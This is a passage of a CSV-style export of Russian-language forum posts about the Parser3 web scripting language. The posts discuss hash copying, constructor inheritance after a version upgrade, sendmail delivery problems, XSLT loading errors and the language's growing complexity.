Есть объяснение?"
"10621","впрочем, и в head уже поправил."
"10622","подробно описан в документации, и если не манкировать её чтением, всё было бы ясно.\
\
parser сначала выполняет весь код, и только потом занимается выдачей результата [header+body]."
"10623","Итак, начну повествование...\
Уважаемый Александр, видимо Вы очень интересно реализовали метод \
^hash::create[$existing_hash], я так понял(= почти уверен), что он работает следующем образом:\
он создаёт в памяти новый объект(хоть на этом спасибо:)), затем пробигает по каждому значению\
существуюшего хеша, и просто в связи с правилами передачи параметров копирует значения \
в новый хеш, таким образом получается, если значение число или строка, то всё это передаётся \
в новый хэш по значению, а если объект(я пробовал, только с хешем), то в значение содержится \
указатель на объект, ну и не долго думая он копирует указатель, вот и получается: \
т.к. структура hash of hash, это не что иное, как области памяти связаные указателями, \
грубо говоря они практически не зависимы(если узнать указатель вложеного хеша, то можно \
запросто с ним работать...)\
и в этоге мы не скопиравали вложеные хеши, а просто добавили новую точку входа:(((\
Я не знаю, так ли это и задумовалось или нет, но если фича то такие вещи нужно указывать\
в доках, если нет то баг чистой воды или не дороботка.\
\
Привожу ниже тестовый код:\
[code]\
@main[]\
$global_hash[$.row1(10)\
             $.row2[$.21(210)\
                    $.22(220)]\
             $.row3[$.31(310)\
                    $.32(320)]]\
^process_hash[$global_hash]\
\
@process_hash[this_hash][local_hash]\
$local_hash[^hash::create[$this_hash]]\
#$local_hash[^hash::create[^hash_create[$this_hash]]]\
BEFORE<br> \
global hash=^show_ready_hash[$this_hash]<br>\
local hash=^show_ready_hash[$local_hash]<br>\
^local_hash.row2.add[$.21($this_hash.row3.31)]\
^local_hash.row3.add[$.31($this_hash.row2.21)]\
AFTER<br>\
global hash=^show_ready_hash[$this_hash]<br>\
local hash=^show_ready_hash[$local_hash]<br>\
\
###########эти коменты снять, но потом\
^rem{\
$my_hash[$.1(222)\
         $.trep[$.bla(1)\
                $.hush(2)\
                ]]\
$new_my_hash[^hash::create[^hash_create[$my_hash]]]\
my+hash=^show_ready_hash[$my_hash]\
}\
###########\
\
@hash_create[temp_hash][key;value]\
^if($temp_hash is 'hash'){\
    ^temp_hash.foreach[key;value]{\
	  ^if($value is 'hash'){\
	  	$result.$key[^hash_create[$value]]} 	\
	     }{\
	     	$result.$key[$value]\
		}\
	}{$result[no_hash]}\
	\
\
@show_ready_hash[this_hash][key;val]\
^if($this_hash is 'hash'){\
<ul>\
^this_hash.foreach[key;val]{\
	^if($val is 'hash'){\
		<li>$key^[\
		^show_ready_hash[$val]\
			^]		\
	}{\
		<li> ^if($val is 'string'){$key^[$val^]}{$key^($val^)}\
	}\
}[</li>]\
</ul>}{<font color=\"red\"><b>The parameter is not hash! This is its value=</b></font>$this_hash}\
[/code]     \
\
посмторите на значения по ключам после AFTER...\
так что думаю я прав...\
\
я попытался написать свой метод копирования хеша [code]@hash_create[][/code],\
но что-то не получилось...\
чтоб его в действие видеть, снимите ^rem{}\
\
Итак эпилог:\
если это всё же фича, то пожалуйста научите как с этим работать...\
а если недороботка, то как можно обойти(=что нужно исправить в методе \
[code]@hash_create[][/code])\
\
P.S. а вы говорите нечего людям голову забивать,\
ведь для кого позиционируется(!=используют) Парсер, в основном понятия не имеют,\
что такое объекты и как они представлены в памяти, вот вам пример такого удивления \
при работе с Парсером:\
[code]\
$my_image[^image::create(200;200;0x00000)]\
$new_my_image[$my_image]\
^new_my_image.bar(50;50;150;150;0xFFFFFF)\
$response:body[^my_image.gif[]]\
[/code]   \
\
вот и объясняй ему потом, почему квадрата Малевича не получилось:))))"
"10625","а сразу нет, не заметил :) потому что я не смотрел что там есть а просто набирал [i]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3[/i]"
"10626","говорил и продолжаю говорить\
[quote]\
нечего людям голову забивать,\
ведь для кого позиционируется Парсер, в основном понятия не имеют,\
что такое объекты и как они представлены в памяти\
[/quote]\
\
всем же остальным — совершенно очевидно, что объекты передаются по ссылке, а вовсе не постоянно рекурсивно-клонируются [это бесконечно дорого]."
"10627","после обновления до версии 3.0006 у меня перестали создаваться объекты классов которые являются производными от некоторых базовых классов, в случае если конструктор располагается в базовом классе а не в производном, выдается ошибка:\
[code]\
constructor must be declared in class ...\
[/code]\
Это ошибка или неприятная особенность новой версии? Неприятная потому что если класс имеет кучу потомков то придется в каждом из них определять конструктор, который для всех один и тот же. В пререлизе про новую версию об этой особенности ничего не сказано."
"10628","если нужны [b]все[/b] подробности, читайте ChangeLog.\
\
это фича, должны быть определены.\
если они не отличаются, просто вызовите базовый:\
\
[code]\
#в derived\
@create[params]\
^BASE:create[params]\
[/code]"
"10629","Таким способом можно отобрать всего только одну случайную запись в таблице или несколько подряд идущих записей, начиная со случайной."
"10630","хостер - zenon (FreeBSD)\
такой код:\
[code]\
^mail:send[\
	$.from[e@mail.ru]\
	$.to[kent404@mail.ru]\
	$.subject[zzz]\
	$.body[zzz]\
]\
[/code]\
никаких ошибок не выдает, но письмо не приходит.\
пробовал $.body менять на $.text, пробовал в /cgi-bin/auto.p явно прописывать $MAIL[$.sendmail[/usr/sbin/sendmail -t -i -f postmaster]] - не помогает.\
Руками через ssh:\
[code]\
> /usr/sbin/sendmail -t -i -f postmaster\
to:kent404@mail.ru\
from:e@mail.ru\
subject:test\
\
test\
^D\
[/code]\
письмо доходит нормально.\
куда копать?"
"10631","Я долго ругался матом :) (у меня таких производных класовв пара десятков, но хорошо что не сотен и это радует) Теперь ещё один проблем - по идее все переменные, определенные в методе являющимся конструктором становятся полями для объекта, создаваемого от этого класса и доступ к ним должен быть  из методов этого класса, - хрен там, у меня нету доступа. Не эта ли фраза ключевая в этом случае:\
[quote]\
Проверьте имеющийся код, те блоки, которые надеялись, что контекстом выполнения оператора является «текущий контекст», перестанут работать. В грядущей версии контекст выполнения любого метода будет доступен в переменной $caller.\
[/quote]\
например код, описанный тут: http://www.egoroff.spb.ru/portfolio/17.html перестаёт работать даже если в производном классе определить конструктор:\
[code]\
@init[date;days_of_files]\
^calendar:init[$date;$days_of_files]\
[/code]\
"
"10632","parser подставляет в -f то, что написано в поле from.\
попробуйте такое с консоли?\
\
обычно sendmail не возражает против такого, хотя и, по-умолчанию, подписывает\
[code]\
X-Authentication-Warning: \
  rol4.design.ru: design set sender to mailbox@parser.ru using -f\
[/code]\
\
если будет возражать, можете во from написать то, против чего он не возражает, а в \
[code]\
$.reply-to[что нужно]\
[/code]"
"10634","помогу. не эта."
"10635","[code]> /usr/sbin/sendmail -t -i -f e@mail.ru\
to:kent404@mail.ru\
subject:test\
\
test\
^D[/code]\
письмо приходит.\
"
"10636","В чистом виде, пожалуйста:\
Базовый класс:\
[code]\
#######\
# Calendar class v3.2.1\
# абстрактный класс для формирования XML кода календаря (метод ^xml[])\
# Описание атрибутов:\
# in - показывает что этот день является сегодняшним днём\
# f - наличие материалов в этот день\
# hit - этот день выбран пользователем -> на него не ставить ссылку и выбирать\
# данные только за этот день\
@CLASS\
calendar\
\
#######\
@init[date;days_of_files]\
# получение текущей даты\
$date_now[^date::now[]]\
\
# Инициал. хэш показывающий какой период времени передан\
# при создании экземпляра класса\
$self.date[$date]\
\
# вызов метода для создания специфических для языка переменных\
# в классе производном от этого и определить только один\
# метод @i18n[]\
^i18n[]\
\
# определение переменных месяца и года для пред. месяца календаря\
$calendar_month_prev[^date::create($date.year;$date.month)]\
^calendar_month_prev.roll[month](-1)\
$prev_m($calendar_month_prev.month)\
$prev_y($calendar_month_prev.year)\
\
# определение переменных месяца и года для след. месяца календаря\
$calendar_month_next[^date::create($date.year;$date.month)]\
^calendar_month_next.roll[month](+1)\
$next_m($calendar_month_next.month)\
$next_y($calendar_month_next.year)\
\
# the hash of publications(files)\
$self.days_of_files[$days_of_files]\
\
#######\
@xml[]\
$result[\
	<month>\
		^month_year[]\
		^weekdays[]\
		^week[]\
	</month>\
]\
\
#######\
# формирование тега для года и месяца\
@month_year[][hit]\
^if(\
	$date.day && $date.month && $date.year ||\
	(\
		$date_now.month == $date.month && \
		$date_now.year == $date.year &&\
		$date.day\
	)\
){\
	$hit[]\
}{\
	$hit[hit=\"1\"]\
}\
\
<month_year\
	month=\"$date.month\"\
	month_title=\"$month\"\
	next_month=\"$next_m\"\
	prev_month=\"$prev_m\"\
	year=\"$date.year\"\
	next_year=\"$next_y\"\
	prev_year=\"$prev_y\"\
	$hit\
/>\
\
#######\
# тег названий дней недели\
@weekdays[]\
<weekdays>\
^for[i](0;6){\
	<day title=\"$calendar_locale.day_names.$i\"/>\
}\
</weekdays>\
\
#######\
# формирование тегов для каждой недели месяца\
# day - день месяца, может быть нулем, если начало/конец\
# первой/последней недели месяца не приходятся на понедельник/воскресенье\
@week[][day;in;f;hit;d_attr]\
^calendar_month.menu{\
	<week>\
	^for[i](0;6){\
		$day($calendar_month.$i)\
# формирование атрибута дня\
		^switch($day){\
			^case(0){\
				$d_attr[]\
			}\
			^case(1;2;3;4;5;6;7;8;9){\
				$d_attr[d=\"0${day}\"]\
			}\
			^case[DEFAULT]{\
				$d_attr[d=\"$day\"]\
			}\
		}\
# формирование атрибута текущего дня\
		^if(\
			$date_now.day == $day &&\
			$date_now.month == $date.month &&\
			$date_now.year == $date.year\
		){\
			$in[in=\"1\"]\
		}{\
			$in[]\
		}\
# формирование атрибута нахождения в данном дне\
		^if($day == $date.day){\
			$hit[hit=\"1\"]\
		}{\
			$hit[]\
		}\
# формирование атрибута наличия материалов за день\
		^if($days_of_files.$day){\
			$f[f=\"1\"]\
		}{\
			$f[]\
		}\
		<day $d_attr $in $f $hit/>\
	}\
	</week>\
}\
[/code]\
\
производный класс:\
[code]\
#######\
# Вызывать так: формировать объект конструктором init\
# $object[^calendar_ru::init[$date;$days_of_files]]\
# далее получаем XML календаря ^object.xml[]\
@CLASS\
calendar_ru\
\
#######\
@USE\
calendar.p\
\
#######\
@BASE\
calendar\
\
#######\
@init[date;days_of_files]\
^calendar:init[$date;$days_of_files]\
\
#######\
# Метод, в котором определяются специфические для разных языков\
# параметры календаря\
@i18n[][m;y]\
# the hash of local calendar (month and day names)\
$calendar_locale[ \
	$.month_names[ \
		$.1[Январь]\
		$.2[Февраль]\
		$.3[Март]\
		$.4[Апрель]\
		$.5[Май]\
		$.6[Июнь]\
		$.7[Июль]\
		$.8[Август]\
		$.9[Сентябрь]\
		$.10[Октябрь]\
		$.11[Ноябрь]\
		$.12[Декабрь]\
	]\
	$.day_names[\
		$.0[Пн]\
		$.1[Вт]\
		$.2[Ср]\
		$.3[Чт]\
		$.4[Пт]\
		$.5[Сб]\
		$.6[Вс]\
	]\
]\
$m($date.month)\
$y($date.year)\
$month[$calendar_locale.month_names.$m]\
$calendar_month[^date:calendar[rus]($y;$m)]\
[/code]\
\
при работе возникает ошибка:\
[code]\
(void) not a method or junction, can not call it\
menu\
\
d:/apache/htdocs/classes/calendar.p(95)\
[/code]\
\
95-я строка (это первая строка метода @week[] базового класса) начинается с ^calendar_month.menu{\
т.е. из метода нельзя обратиться к полю $calendar_month которое по идее должно быть у объекта, поскольку конструктор объекта вызывает тот метод, в котором это поле определяется."
"10638","попробуйте подменить sendmail на свой скрипт, и посмотрите, что может быть не так.\
\
уверен, излишне говорить, что большинство наших hosting машин сейчас: FreeBSD"
"10639","а в вашем скрипте попечатайте параметры и тело.\
если увидите отличие, возможно, поймёте, кого надо бить."
"10640","лень читать такое длинное. по ссылке нажимать умею, зря сомневаетесь.\
\
короткий пример?"
"10641","не сомневаюсь что умеете, вот почище :) \
Базовый класс:\
[code]\
#######\
@CLASS\
base_class\
\
#######\
# конструктор\
@init[parameter]\
^method1[]\
\
#######\
@method2[parameter]\
^table.menu{...}\
[/code]\
\
производный класс:\
[code]\
#######\
@CLASS\
child_class\
\
#######\
@USE\
base_class.p\
\
#######\
@BASE\
base_class\
\
#######\
# конструктор\
@init[parameter]\
^base_class:init[$parameter]\
\
#######\
@method1[parameter]\
$table[...]\
[/code]\
\
Некая переменная $table которая должна стать полем объекта, формируется в методе [b]@method1[/b] определяемом только в подклассе и затем этот метод вызывается в конструкторе, определенном в базовом классе и согласно новой фиче вызов конструктора из базового класса делается в конструкторе определяемом в подклассе ^base_class:init[$parameter]\
\
при работе возникает ошибка:\
[code]\
(void) not a method or junction, can not call it\
menu\
...\
[/code]\
\
ошибка возникает в строчке ^table.menu{...}\
\
т.е. из метода нельзя обратиться к полю $table которое по идее должно быть у объекта, поскольку конструктор объекта вызывает тот метод, в котором это поле определяется."
"10642","Дело в слудеющем:\
Ты создал дочерний класс. Затем вызываешь конструктор для создания экземпляра объекта дочернего класса. В конструкторе ты зовешь ^calendar:init[] (кстати, по моему лучше ^BASE:init[]...)\
тут все хорошо. а далее начинается самое интересное...\
\
далее из конструктора родительского метода вызывается метод @i18n[], который перекрыт в ребенке. в этом методе ты определяешь переменные, в том числе $calendar_month... но эта переменная хотя и имеет такое-же имя, как переменная в методе @i18n[] класса родителя инициализирует ДРУГУЮ переменную, про которую методы родительского класса ничего не знают :(\
\
диагноз:\
к конструкторе родительского метода тебе надо задекларировать ВСЕ переменные. Например, если у тебя будет какая-нить таблица, то ее тебе надо создать... В перекрытом методе ты будешь _наполнять_ ее, но определена она должна быть в каком-либо методе родительского класса...\
\
Такие вот пирожки с котятами..."
"10644","в классе родителе метод @i18n[] неопределён, потому что он там не имеет смысла - этот клас абстрактный и от него нельзя создавать экземпляры. Я не могу все переменные определить в конструкторе базового класса, да это и не нужно.\
\
Короче ПАФ не дает нам расслабиться :) Все, - надо стирать все с винчестера и уходить в монастырь, может хоть там есть незыблемые ценности."
"10645","я уже это почувствовал и мне надо переделывать практически весь код."
"10646","не ну а как быть с хешами ведь это не правильно, вот давайте создадим опрос, что подразумевает народ когда читает в доках следующие\
[i]Если указан существующий хеш, конструктор создает его копию. [/i]\
\
вот лично я поздразумеваю, что он создаст абсолютно независимую копию, и если я работаю с копией то у меня ничего неизменится в оригинале.\
ну добавитье ещё один констуктор который, который будет создавать независимый хеш, причём(конечно в идеале хотелось, бы чтоб он копировал целиком те объкте который бы были указаны как параметры), т.е. если не указан параметр(=хеш(одномерной структуры(значение ключей это типы объектов которые нужно создать копию, а не ссылку)))...\
так что вот...   "
"10647","и жми ручку товарищу ПАФу..:)"
"10648","С точки зрения стандартных реализаций объектно-ориентированного программирования переменная $table должна быть\
декларирована в классе base_class (с \"строгих\" языках была бы просто ошибка, поскольку такого поля у объекта нет).\
\
В приведенном примере такой декларации [точнее парсерного эквивалента - инициализации] не было, поэтому то, что этот код работал\
раньше было скорее особенностью реализации. \
\
Если я правильно понимаю, достаточно в конструкторе базового класса переменную \"задекларировать\" - сказать $table[]. По-моему это логично - если следовать традициям обычных языков, конструктор (он в данном случае играет роль и описания структуры объекта) должен начинаться с декларации переменных/полей объекта с комментариями чего и зачем ...\
"
"10649","В общем вы правы, однако оптимизма это не прибавляет, ибо просто декларация $table[] в конструкторе базового класса ничего не даст, поскольку в парсере применяется динамическое связывание типов, т.е. при объявлении(декларации) нельзя указать тип переменной, - он определяется в ходе выполнения программы т.е. на стадии определения(присваивания значения) переменной. При такой декларации переменной присваивается тип void (а надо table) и как правильно говорит сообщение об ошибке, тип void не имеет метода menu.\
\
Здесь вероятно могло бы помочь такое средство как явное указание типа при объявлении, однако такого средства в парсере нет, да и вряд-ли оно полезно здесь, хотя здесь я могу ошибаться.\
\
Вообщем тут надо радикально менять логику работы кода использующего иерархии пользовательских классов, т.е. с применением наследования и полиморфизма. Чем видимо и придется заниматсья в ближайшее время ибо пути назад нету."
"10651","скриптик:\
[code]\
#!/usr/bin/perl\
`echo 1 > /tmp/test`;\
[/code]\
прописал его адрес в $.sendmail - /tmp/test не появляеться, ессно, у /tmp - 777. выходит, парсер вообще и не делает попытку отправить письмо? почему?"
"10652","скачал, поставил IIS5 - parser3.exe\
не работает передача параметров через строку запроса даже на тестовом файле, хотя сам он открывается без ошибок. Ошибка:\
abnormal program termination\
\
Пока вернулся к старой версии. Что скажет ПАФ?"
"10654","читай внимательней форум."
"10655","у вас есть foreach, есть оператор проверки типов.\
так что несложные структуры можете и сами рекурсивно скопировать.\
\
моё личное мнение: копии структур — странное явление.\
быть может, опишите задачу, и вместе подумаем, почему не надо ничего клонировать?"
"10656","[code]\
$table[^table::create{}]\
$hash[^hash::create[]]\
[/code]"
"10658","вы говорите, «метод не определен, поскольку не имеет смысла», а переменная, выходит, «имеет смысл»?\
\
это то, что в документации активно [quote по памяти]\
[quote]\
не рекомендуется общаться с объектом через его поля\
[/quote]\
\
если нужны какие-то дополнительные данные из ребёнка, можно их было у него вежливо попросить:\
[code]\
#родитель\
$sensitive_data[^virtual_data[]]\
#ребёнок\
@virtual_data[]\
$result[\
   $.some[a]\
   $.useful[b]\
   $.info[c]\
]\
[/code]\
\
а не нагло вымогать:\
[code]\
#безобразие\
$strange_access\
[/code]"
"10659","если есть возможность, запустите parser в консоли под strace, посмотрите, что он и как пытается запустить.\
если бы ему что-то не удалось запустить, был бы parser exception. выходит удалось. возможно, вы не там поправили путь? поищите другие вхождения?\
\
вариант проверки:\
\
[code]\
cd веб-пространство\
strace ../cgi-bin/parser sendmail.html\
[/code]\
\
если на вашей платформе есть strace..."
"10662","думаю"
"10663","Да нет, меня видимо не так поняли!\
\
Вся проблема в том, что такого файла нет, не было, и никогда не будет!\
 \
Тут очень важно получить фиктивный адрес\
\
Левый пример с www.lenta.ru\
\
www.lenta.ru/war/2002/12/17/\
\
Каталога 17 как и 12, 2002, и даже war (!!!) в реале не существует.\
все запросы с помощью mod_Rewrite (есть в Апаче такая фича) переадресовываются левому файлу.\
Но этому файлу (redirect.html) для обработки запроса необходимо знать, откуда его послали и на основе этого сформировать страницу.\
\
"
"10664","есть хеш такой структуры:\
4 ключа 1го уровня это имена одномерных подмассивов(в которых ключи прочсто числовые индексы)\
и ещё одни ключ 1го уровня это имя двумерного массива\
так вот я передаю этот хеш будем называть его оригиналом в метод,\
там я создаю $result как хеш такой же структуры, потом из оригинала \
делая математические преобразования заново заполняю хеш (так вот мне нужна была структура), я конечно же знаю структуру оригинала мог бы его бы ещё раз определить  заново но это как то не так...\
и у меня такой вопрос если я буду заново создавать хеш в методе (ну то есть у меня будет локальная переменая метода), а потом в осовной программе буду делать перезаписывать оригинал констуктуром ^hash::create[^my_method[]] где ^my_method[] возращает хеш, так вот\
куда в уже новом оригинале будут смотреть указатели на подмассивы?\
он создаст новые подмассивы в основной подпрограмме?\
извините если как то не так вырожаюсь, но вот как понимаю...   "
"10665","другие вхождения куда?\
правил путь в cgi-bin/auto.p - там где прописанны lib'ы и charset'ы - в других местах $MAIL не трогается..."
"10666","А почему в \
\
[code]\
$zzz(5) \
^zzz.mod(2) \
$zzz\
[/code]\
\
парсер выдает значение \"Истина\" (1), а не как в документации \
\"возвращает остаток от деления значения переменной на число\""
"10668","в «бинарнике» править надо. бинарные версии собраны с игнорированием конфига.\
\
[забавно вы читаете мои письма]"
"10670","см. новость тут: http://parser.ru/\
забирайте обновление тут: http://parser.ru/download/"
"10671","Имеется дерево вида\
[code]\
</navigation>\
<menuitem uri=\"/third/\">\
<title>Третья страница</title>\
<menuitem uri=\"/third/subsection.html\">\
<title>Подраздел</title>\
<menuitem uri=\"/third/subsection2.html\">\
<title>Подраздел 2</title>\
</menuitem>\
</menuitem>\
</menuitem>\
</navigation>\
[/code]\
XPath-запрос\
[code]//menuitem[@uri='$env:REQUEST_URI'][/code]\
отлично работает на первом уровне, однако на втором и третьем уровне ничего не находит, в чём может быть дело?"
"10672","пример в чистом виде лень было придумать?\
\
переменные, которым присваивают новое значение, теряют связь со своим старым значением.\
\
[code]\
$a[^table::create[nameless]{1}]\
$b[$a]\
$a[^table::create[nameless]{2}]\
$b.0\
[/code]\
\
выдаст \"1\".\
\
\
что до клонирования сложных структур, я уже писал, что вы можете сделать. вы или не прочли или поняли."
"10673","http://guru.yandex.ru/allmodels.php3\
а гуру на php3 работало...\
чего же они так отстали?: )"
"10674","парсер можно назначить и на \".perl\". :-)\
\
См. по теме: \
http://www.php.ru/"
"10675","Создавался форум основанный на примере \"Построение деревьев\".\
Спасибо большое Mishe и PAF'у форум работает на отлично.\
\
Но меня беспокоит одна мысль. Допустим что в форуме порядка 10000 сообщений, думаю вытаскивать такую большую таблицу из БД не стоит.\
Логичнее всего было бы ограничить выборку limit'ом. Но если использовать лимит, то в результате можнет получиться так что некоторые деревья сообщений будут выводиться неполностью, часть ветвей останется не выбраной из БД.\
Думаю можно попробовать сделать выборку с параметром WHERE по дате. Но и здесь имхо возникнуть проблемы, если сделать выборку за последние три дня, то в случае когда в эти дни никто не напишет ни одного сообщения из БД не будет выбрано ни одного элемента.\
\
Хотелось бы выслушать какие-нибудь идеи по решению этих проблем."
"10676","Цитатка из http://www.parser.ru/faq/:\
\
\"...Что такое Parser?\
Parser  — это технология создания сайтов с помощью простого языка. Он немного сложнее HTML, но не требует особенного умения программировать...\"\
\
Почитав последние мессажки с форума (http://www.parser.ru/forum/?id=10627) - сильно задумался :-/ Если еще пол года тому назад переход на Парсер с \"простого\" HTML прошел, у меня по крайней мере, легко и просто, то теперь, ИМХО, впереди забрезжило увлекательное занятие - необходимо будет плотненько изучать новый язык программирования - ПАРСЕР :-/\
\
Еще из http://www.parser.ru/faq/:\
\"...Если есть PHP, то для чего Parser?\
PHP — это язык программирования, требующий соответствующей подготовки. На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени...\"\
\
А вот это, ИМХО, настало время из ФАКа убирать, как не соответствующее действительности :-(\
\
Это не наезд, разумеется - мне нужно понять, до какого уровня планируется развивать и УСЛОЖНЯТЬ технологию. Не получится-ли так, что в определенный момент изучение особенностей и тонкостей работы языка ПАРСЕР, начнет превышать время на изучение других аналогичных языков.\
\
Ели так, то тогда какой смысл разрабатывать еще один язык, тем паче, что по другим (php, perl, etc.) \"наработок\" в сотни раз больше?\
\
Наверное мой вопрос к Константину и к ПАФу - кто у Вас за развитие отвечает-то? :)\
"
"10677","Так ведь никто не навязывает вам глубокого изучения парсера. Можно вообще отказаться от использования собственных классов если лень изучать. А дополнительные возможности в рамках среды разработки никому еще не помешали. Идет стандартная эволюция (от простого к сложному)."
"10678","В сообщении http://parser.ru/forum/?id=7519 вы писали:\
\
>Хм. Использую разные кодировки: koi8-r, 1251, UTF-8... Ultraedit\
>вроде не имеет с этим проблем...\
\
Я скачал утраедит 9.2 но мои страницы, набранные в far`e в win-кодировке некорректно отображаются :( Пока проблему решаю конвертированием в UTF-8 и обратно при сохранении, что КРАЙНЕ НЕУДОБНО. Не подскажете как решить эту проблему?\
"
"10679","Спасибо ПАФу и Константину Моршневу, - они были правы. Я тут написал пару строчек про грабли на которые наступил http://www.egoroff.spb.ru/opinions/14.html"
"10680","split. Разбиение строки \
http://parser.ru/docs/lang/?stringsplit.htm\
\
[code] \
$str[/a/b/c/d] \
$parts[^str.split[/;h]] \
$parts.0, $parts.1 \
[/code] \
\
Выведет:\
 , a\
\
когда\
[code]$str[a/b/c/d][/code] \
\
или \
[code]$parts.1, $parts.2[/code] \
\
Выведет:\
 а, b"
"10681","Можно вытянуть все! записи из БД и натравить рекурсию на полученный список. При этом вся работа падает на Парсер - в БД мы лезем 1! раз. Но если учитывать частный случай с количеством записей из >10000...это заставляет задуматься.\
\
Можно натравливать рекурсию прямо на БД. Ненужные записи из БД не вытянуться, но на СУБД ложится большая работа.\
\
Придется выбрать между Парсером и СУБД. В любом случае время выполнения зависит от общего количества записей в БД.\
\
P.S. Оставьте работу Парсеру - он сделает, как надо и быстро. СУБД рядом не валялась."
"10682","я всё прочитал и понял, только вот надо на практике надо \
посмотреть...\
спасибо за разъяснения...\
вот когда я представлю над чем я так извращаюсь, у вас сердце \
кровью оболбётся для чего Парсер используют..."
"10684","Таки сочли за наезд :(\
\
Меня интересует: до каких границ, разовьется в конце-концов технология ПАРСЕР. Я только об этом и спросил. При чем тут: -\"Можете не изучать...\" ???"
"10685","я-ж в примере с построением деревьев писал (а может и не там), что делаю так:\
\
1. достаю корневые сообщения, ограничивая их limit-ом.\
2. достаю ВСЕ сообщения, которые принадлежат тредам, которые я получил первым запросом. 2 запроса - далее разбор полетов парсером."
"10687","надо выбрать правильный шрифт: View | Set font и указать, что он Cyrilic..."
"10688","не знаю почему, но у меня в голове осталось \"все! записи\"..:)\
\
хотя на практике, на своем форуме я делаю, как и ты : сначала треды, потом дети треда...:)\
\
Приношу извинения за дезинформацию..:)"
"10689","растут требования, растут возможности языка:\
\
1. стал центробанк публиковать курсы в xml и выкладывать их на http.\
2. клиенты стали это хотеть.\
3. в parser появилась [code]^xdoc::load[http://центробанк/валюты][/code]\
\
так и будет впредь: появится новая [b]удобная[/b] технология, [b]сокращающая[/b] время разработки, её поддержка [b]добавится[/b] в язык [разумеется, в меру сил и возможностей].\
\
и зачем всё? чтобы клиент был счастлив — проект сдан вовремя, его легко разработать и поддерживать.\
\
\
касательно якобы «сложности» — можно подумать, авторы многочисленных объектно-ориентированных языков дружно сговорились, и специально их придумывают чтобы задурить вам голову? так что-ли? — нет, совсем наоборот: так куда удобнее думать, помнить, совместно разрабатывать проекты.\
\
насчёт других языков: разные задачи, разные языки. несложно обработать 100M лог файл, например, на perl, это несказанно удобнее и быстрее, чем на parser. написать chat для посещаемых сайтов на perl уже трудно, лучше это сделать на C/C++.\
parser — совсем не панацея. не был и не будет."
"10692","Ранее замечательно работавшая конструкция:\
\
auto.p\
\
$products[^xdoc::load[/../xml/products.xml]]\
$products[^products.transform[/../xsl/products_join.xsl]]\
\
products.xml:\
\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<products>				\
	<item path=\"products_product_name.xml\" />\
	...\
	...\
</products>\
\
products_join.xsl:\
\
<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:output method=\"xml\" encoding=\"UTF-8\"/>\
<xsl:template match=\"product\">\
<products>\
	<xsl:apply-templates select=\"item\"/>\
</products>	\
</xsl:template>\
<xsl:template match=\"item\">\
	<xsl:copy-of select=\"document(@path)\"/>\
</xsl:template>  \
</xsl:stylesheet>\
\
вдруг, начала выдавать ошибку:\
\
warning: failed to load external entity \"products_product_name.xml\"\
warning: failed to load...\
warning: failed to load...\
\
Помогите, плиз..."
"10693","Сколько он весит-то?"
"10694","Резюм: конкретного т.з. на Парсер, как я понимаю, не существует? Технология просто следует за рынком?"
"10695","вполне достаточно забрать нужные файлы из разделов: \"скачать\", \"примеры\" и \"документация\".\
\
А сам сайт лежит в БД, поэтому его размер тебе никто не скажет."
"10696","Есть код\
[code]\
$price_label[^image::load[/images/price_label.gif]]\
^price_label.font[0123456789.руб\\;/images/all_digits.gif](0)\
^price_label.text(37;43)[128500.25 руб\\]\
$response:body[^price_label.gif[]]\
[/code]\
который выдаёт только картинку с надписью.\
Не пойму, как выдать эту картинку (с надписью) в виде <img src=\"... >\
Заранее спасибо."
"10698","http://parser.ru/docs/lang/imagemeasure.htm\
\
[важная вещь не была анонсирована на /]"
"10699","если нужно срочно, используйте такую конструкцию:\
[code]\
<products\
 xml:base=\"/path/to/web/space/\"\
>\
[/code]\
\
или такую:\
[code]\
$productsFile[^file::load[products.xsl]]\
#тут загрузка вложенных будет относительно $request:uri\
$products[^xdoc::create{$productsFile.text]]\
#тут загрузка вложенных будет относительно каталога \"/dir\"\
$products[^xdoc::create[/dir]{$productsFile.text]]\
[/code]"
"10700","Уважаемые, подскажите, что я не так делаю:\
\
[code]\
$string[Вася Зелибоба сейчас занят]\
^string.save[text;/string.cfg]\
[/code]\
\
Парсер выдает ошибку\
\
e:/www/virtual/test_site/htdocs/auto.p(4): 'text' unknown mode, must be 'append'  type: parser.runtime\
\
"
"10702","Вот такая у меня конструкция\
\
[code]\
^if(-f \"/goblins_count\"){\
$file[^file::load[text;/goblins_count]]\
$goblins($file.text+1)\
}{ \
$goblins[1]\
}\
 \
^goblins.save[/goblins_сщгте]\
[/code]\
\
Считаем гоблинов - если каунтера нет, то мы его создаем, если есть, то перезаписываем.\
Так вот при перезаписи и возникает ошибка\
\
[code] \
'save' (void) not a method or junction, can not call it  type: parser.runtime \
[/code]\
\
вот и пытался перезаписать ^файл.save[формат;имя файла]\
\
Жаль что не возвратить ^counter[]..."
"10703","Архив сайта я слил 9/11/02.\
60 мегов всего ...\
\
сейчас видимо побольше :-)"
"10704","соответственно надо написать примерно так:\
^if(-f \"/goblins_count\"){\
  $file[^file::load[text;/goblins_count]]\
  $goblins[^eval(^file.text.int(0)+1)]\
}{ \
  $goblins[1]\
}\
\
и тогда все замечательно запишется, т.к. это будет строка, а не число.\
\
или еще вариант:\
^try{\
  $file[^file::load[text;/goblins_count]]\
  $goblins[^eval($file.text+1)]\
}{\
  $exception.handled(1)\
  $goblins[1]\
}\
^goblins.save[/goblins_count]\
\
:)\
заметь, тут можно не пытаться приводить считаное значение к числу, как и проверять существование файла... если произойдет ошибка - мы ее перехватим, сообщим парсеру, что сами с ней разберемся, и решим, что пришел первый гоблин.\
"
"10705","Ок, спасибо! Соберем из исходников."
"10706","и еще одна проблема:\
\
раньше работал такой код:\
\
$params[\
 $.real_uri[/текущий_путь_к/файлу.html]\
]\
$target_path[^MAIN:sitemap.transform[/../xsl/navigation_common_title.xsl][$params]]\
${env:SERVER_NAME} ^target_path.string[\
	$.method[html]\
	$.indent[no]\
]\
\
navigation_common_title.xsl:\
\
<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
	<xsl:output method=\"html\" encoding=\"UTF-8\"/>\
	\
	<xsl:template match=\"tree\">\
